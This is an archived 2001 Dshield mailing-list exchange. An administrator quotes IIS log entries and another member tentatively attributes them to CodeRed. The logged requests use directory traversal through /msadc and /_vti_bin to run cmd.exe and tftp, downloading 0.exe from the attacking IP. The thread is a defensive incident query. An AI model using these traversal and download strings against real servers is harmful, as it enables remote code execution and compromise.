[Dshield] What the heck is this? It does not look good.................

NOC - KP^2 noc at kulish.com
Tue Aug 28 21:15:07 GMT 2001


I believe that is part of the CodeRed epidemic (somone correct me if I am
wrong).

CK
----- Original Message -----
From: "Paul Marsh" <pmarsh at nmefdn.org>
To: "'Dshield (E-mail)" <dshield at dshield.org>
Sent: Tuesday, August 28, 2001 2:50 PM
Subject: [Dshield] What the heck is this? It does not look
good.................


> 12:39:19 216.154.60.147 - GET
> /msadc/../../../../../../winnt/system32/cmd.exe
> /c+tftp.exe+"-i"+216.154.60.147+get+0.exe+c:\temp\0.exe 404
>  12:39:31 216.154.60.147 - GET
> /_vti_bin/../../../../../../winnt/system32/cmd.exe
> /c+tftp.exe+"-i"+216.154.60.147+get+0.exe+c:\temp\0.exe 502
>  12:39:41 216.154.60.147 - GET
> /_vti_bin/../../../../../../winnt/system32/cmd.exe
> /c+tftp.exe+"-i"+216.154.60.147+get+0.exe+c:\temp\0.exe 502
>
> Thanx, Paul
>
> _______________________________________________
> Dshield mailing list
> Dshield at dshield.org
> To change your subscription options (or unsubscribe), see:
http://www1.dshield.org/mailman/listinfo/dshield
>




More information about the list mailing list